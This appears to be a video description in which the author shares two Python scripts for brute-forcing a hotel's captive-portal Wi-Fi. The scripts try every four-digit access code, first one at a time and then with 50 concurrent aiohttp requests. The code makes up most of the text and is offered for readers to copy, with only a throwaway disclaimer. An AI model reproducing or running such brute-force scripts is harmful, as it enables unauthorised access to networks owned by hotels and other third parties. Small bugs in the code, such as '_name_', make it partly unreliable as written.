i wrote a python script to hack my hotel's wifi

so i was staying at this hotel where they give you a new 4-digit wifi code every single day.
but instead of walking down to the front desk like a normal person… i wrote a python script to brute force it
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
this was just for fun and learning – don’t do this on networks you don’t own lol.

in this video i show:
+how i sniffed the api requests in dev tools
+wrote a basic script to try all 10,000 codes
+then made it stupid fast with threading

code is below if you wanna play around:
import requests
import time

URL = "http://172.20.10.1:8000/api/captiveportal/access/logon/0/"
PASSWORD = "wire2wifi"

headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://172.20.10.1:8000",
"Referer": "http://172.20.10.1:8000/index.html?",
"User-Agent": "Mozilla/5.0"
}

def is_success(response):
try:
return response.status_code == 200 and '"clientState":"AUTHORIZED"' in response.text
except:
return False

start = time.time()

for code in range(0, 10000):
user_code = str(code).zfill(4)
data = {"user": user_code, "password": PASSWORD}

try:
response = requests.post(URL, data=data, headers=headers, timeout=3)
if is_success(response):
print(f"\n SUCCESS! Code: {user_code}")
print("Response:", response.json())
break
else:
print(f"✖ Tried: {user_code}", end="\r")
except Exception as e:
print(f"\ Error with code {user_code}: {e}")

time.sleep(0.00000000000001)

elapsed = time.time() - start
print(f"Time taken: {elapsed:.2f} seconds")

threading method:
import asyncio
import time
import aiohttp

URL = "http://172.20.10.1:8000/api/captiveportal/access/logon/0/"
PASSWORD = "wire2wifi"
MAX_CONCURRENCY = 50

HEADERS = {
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://172.20.10.1:8000",
"Referer": "http://172.20.10.1:8000/index.html?",
"User-Agent": "Mozilla/5.0",
"X-Requested-With": "XMLHttpRequest"
}

found = None
sem = asyncio.Semaphore(MAX_CONCURRENCY)

async def try_code(session, code):
global found
if found:
return
user_code = str(code).zfill(4)
data = {"user": user_code, "password": PASSWORD}
async with sem:
try:
async with session.post(URL, data=data, headers=HEADERS) as resp:
text = await resp.text()
if resp.status == 200 and '"clientState":"AUTHORIZED"' in text:
found = user_code
print(f"\n SUCCESS! Code: {user_code}")
else:
print(f"✖ Tried: {user_code}", end="\r")
except Exception as e:
print(f"\n Error on {user_code}: {str(e)}")
await asyncio.sleep(0.05)

async def main():
start = time.time()
async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar(unsafe=True)) as session:
tasks = [try_code(session, code) for code in range(10000)]
await asyncio.gather(*tasks)
elapsed = time.time() - start
print(f"Time taken: {elapsed:.2f} seconds")
if not found:
print("\n No working code found.")

if _name_ == "__main__":
asyncio.run(main())

🖤 support
sub if you’re into random coding projects
drop a comment if you’d make this faster

python projects, python hacking, brute force wifi, hotel wifi hack, wifi brute force, dev tools api hacking, python threading, python aiohttp, beginner hacking python, ethical hacking, cool python projects, python automation, python network scripts, funny coding projects